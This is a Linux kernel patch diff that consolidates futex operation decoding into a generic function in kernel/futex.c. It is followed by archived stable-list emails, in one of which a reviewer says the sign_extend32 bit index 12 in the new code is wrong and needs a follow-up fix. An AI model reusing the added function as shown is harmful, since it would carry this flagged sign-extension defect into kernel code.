-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,22 +32,12 @@ _futex_spin_unlock_irqrestore(u32 __user
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
-
 	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
 
@@ -85,17 +75,9 @@ out_pagefault_enable:
 	pagefault_enable();
 	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -31,18 +31,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -68,17 +60,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -27,21 +27,12 @@ futex_atomic_cmpxchg_inatomic(u32 *uval,
 	return atomic_futex_op_cmpxchg_inatomic(uval, uaddr, oldval, newval);
 }
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	u32 oparg = (encoded_op << 8) >> 20;
-	u32 cmparg = (encoded_op << 20) >> 20;
 	u32 oldval, newval, prev;
 	int ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	do {
@@ -80,17 +71,8 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = ((int)oldval < (int)cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = ((int)oldval >= (int)cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = ((int)oldval <= (int)cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = ((int)oldval > (int)cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
-
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
+	if (!ret)
+		*oval = oldval;
 
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ out_pagefault_enable:
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op,
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1458,6 +1458,45 @@ out:
 	return ret;
 }
 
+static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+{
+	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
+	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
+	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
+	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
+		if (oparg < 0 || oparg > 31)
+			return -EINVAL;
+		oparg = 1 << oparg;
+	}
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:




From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 4.9 27/33] futex: Remove duplicated code and fix undefined
 behaviour
Date: Fri, 18 May 2018 10:30:24 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <e8dc5f94-3b52-dcf0-3b5e-b442bde7d803@suse.cz>
References: <20180518081535.096308218@linuxfoundation.org>
 <20180518081536.166573281@linuxfoundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1526632123 10336 195.159.176.226 (18 May 2018 08:28:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 08:28:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: stable@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
        Russell King <rmk+kernel@armlinux.org.uk>,
        "Darren Hart (VMware)" <dvhart@infradead.org>,
        linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        peterz@infradead.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
        Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Matt Turner <mattst88@gmail.com>,
        linux-snps-ar
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
Original-X-From: stable-owner@vger.kernel.org Fri May 18 10:28:36 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1fJakd-0002V7-16
	for glks-stable4@m.gmane.org; Fri, 18 May 2018 10:28:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751117AbeERIao (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Fri, 18 May 2018 04:30:44 -0400
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:37547 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753828AbeERIaa (ORCPT
        <rfc822;stable@vger.kernel.org>); Fri, 18 May 2018 04:30:30 -0400
Original-Received: by mail-wm0-f67.google.com with SMTP id l1-v6so13589357wmb.2;
        Fri, 18 May 2018 01:30:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:openpgp:autocrypt
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-language:content-transfer-encoding;
        bh=f7vhh1qAPDkYLRbFEbibXTE52a0P1jEGntLoIsq/WpY=;
        b=ZAc6QDhzH6YqOvJiWhChu8reraci0G2hThuw/hVrykVtdeRc9X884iipEttoYdaEpZ
         jfrZGCWEyTswAYK185Gs0o62zCERWtOeLshcYeD4q30M/QTuTyac3NcCJdkXKxZr15f2
         5Z1BVB/BW508XZiKOqPEFI0xfBzoBzMI65cR0hlYp/ZtzSy9aq7MCLI6VKZubCAk9ktv
         sBgSRB/wtBCKliQasfG85ZIxPU+TSmuT4rbsD6+79FV0/uH2s5UnRmuc/6H2fwGRg581
         bs91F/lpRLlOT/hxcMYzYSTfdLUX4k9SoSkAVobchzLAjL25kqa7AFywpgGaC43x++Ez
         oOvw==
X-Gm-Message-State: ALKqPwdVk+VvAkvhrjtnAnvyufqXLBrSPqtt0J1/KbR2A1SV1UaEFwRl
        EJKbGaU99aa5LsB5TkwmHP4=
X-Google-Smtp-Source: AB8JxZpNsejPa6o4d/o8a5aTdlYzL2xT/z57P1NDjcwkrNsLacWBNoaxAH3TK+C4HWOJ9cvqJ1WJeg==
X-Received: by 2002:a1c:130d:: with SMTP id 13-v6mr3971943wmt.109.1526632227398;
        Fri, 18 May 2018 01:30:27 -0700 (PDT)
Original-Received: from ?IPv6:2a01:4240:2e27:ad85:aaaa::70f? ([2a01:4240:2e27:ad85:aaaa::70f])
        by smtp.gmail.com with ESMTPSA id f143-v6sm9061276wme.43.2018.05.18.01.30.24
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 18 May 2018 01:30:26 -0700 (PDT)
Openpgp: preference=signencrypt
Autocrypt: addr=jslaby@suse.cz; prefer-encrypt=mutual; keydata=
 xsFNBE6S54YBEACzzjLwDUbU5elY4GTg/NdotjA0jyyJtYI86wdKraekbNE0bC4zV+ryvH4j
 rrcDwGs6tFVrAHvdHeIdI07s1iIx5R/ndcHwt4fvI8CL5PzPmn5J+h0WERR5rFprRh6axhOk
 rSD5CwQl19fm4AJCS6A9GJtOoiLpWn2/IbogPc71jQVrupZYYx51rAaHZ0D2KYK/uhfc6neJ
 i0WqPlbtIlIrpvWxckucNu6ZwXjFY0f3qIRg3Vqh5QxPkojGsq9tXVFVLEkSVz6FoqCHrUTx
 wr+aw6qqQVgvT/McQtsI0S66uIkQjzPUrgAEtWUv76rM4ekqL9stHyvTGw0Fjsualwb0Gwdx
 ReTZzMgheAyoy/umIOKrSEpWouVoBt5FFSZUyjuDdlPPYyPav+hpI6ggmCTld3u2hyiHji2H
 cDpcLM2LMhlHBipu80s9anNeZhCANDhbC5E+NZmuwgzHBcan8WC7xsPXPaiZSIm7TKaVoOcL
 9tE5aN3jQmIlrT7ZUX52Ff/hSdx/JKDP3YMNtt4B0cH6ejIjtqTd+Ge8sSttsnNM0CQUkXps
 w98jwz+Lxw/bKMr3NSnnFpUZaxwji3BC9vYyxKMAwNelBCHEgS/OAa3EJoTfuYOK6wT6nadm
 YqYjwYbZE5V/SwzMbpWu7Jwlvuwyfo5mh7w5iMfnZE+vHFwp/wARAQABzSBKaXJpIFNsYWJ5
 IDxqaXJpc2xhYnlAZ21haWwuY29tPsLBewQTAQIAJQIbAwYLCQgHAwIGFQgCCQoLBBYCAwEC
 HgECF4AFAk6S6P4CGQEAC 
In-Reply-To: <20180518081536.166573281@linuxfoundation.org>
Content-Language: en-GB
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:283805 gmane.linux.kernel:2770581 gmane.linux.ports.mips.general:64842 gmane.linux.ports.ia64:28818 gmane.linux.ports.sh.devel:57040 gmane.linux.ports.sparc:27877 gmane.linux.kernel.cross-arch:44228 gmane.linux.ports.hexagon:1728 gmane.linux.kernel.arc:3894 gmane.linux.ports.arm.kernel:650959 gmane.linux.ports.parisc:28621 gmane.linux.ports.alpha:5049 gmane.linux.ports.ppc64.devel:157388
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/283805>

On 05/18/2018, 10:16 AM, Greg Kroah-Hartman wrote:
> 4.9-stable review patch.  If anyone has any objections, please let me know.
> 
> ------------------
> 
> From: Jiri Slaby <jslaby@suse.cz>
> 
> commit 30d6e0a4190d37740e9447e4e4815f06992dd8c3 upstream.
...
> --- a/kernel/futex.c
> +++ b/kernel/futex.c
> @@ -1458,6 +1458,45 @@ out:
>  	return ret;
>  }
>  
> +static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> +{
> +	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
> +	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
> +	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
> +	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);

12 is wrong here – wherever you apply this, you need also a follow-up fix:
commit d70ef22892ed6c066e51e118b225923c9b74af34
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Thu Nov 30 15:35:44 2017 +0100

    futex: futex_wake_op, fix sign_extend32 sign bits

thanks,
-- 
js
suse labs


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 4.9 27/33] futex: Remove duplicated code and fix
 undefined behaviour
Date: Fri, 18 May 2018 11:01:41 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20180518090141.GA10227@kroah.com>
References: <20180518081535.096308218@linuxfoundation.org>
 <20180518081536.166573281@linuxfoundation.org>
 <e8dc5f94-3b52-dcf0-3b5e-b442bde7d803@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1526634006 15955 195.159.176.226 (18 May 2018 09:00:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 09:00:06 +0000 (UTC)
User-Agent: Mutt/1.9.5 (2018-04-13)
Cc: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
        Thomas Gleixner <tglx@linutronix.de>,
        Russell King <rmk+kernel@armlinux.org.uk>,
        "Darren Hart (VMware)" <dvhart@infradead.org>,
        linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        peterz@infradead.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
        Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Matt Turner <matt
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: stable-owner@vger.kernel.org Fri May 18 10:59:57 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
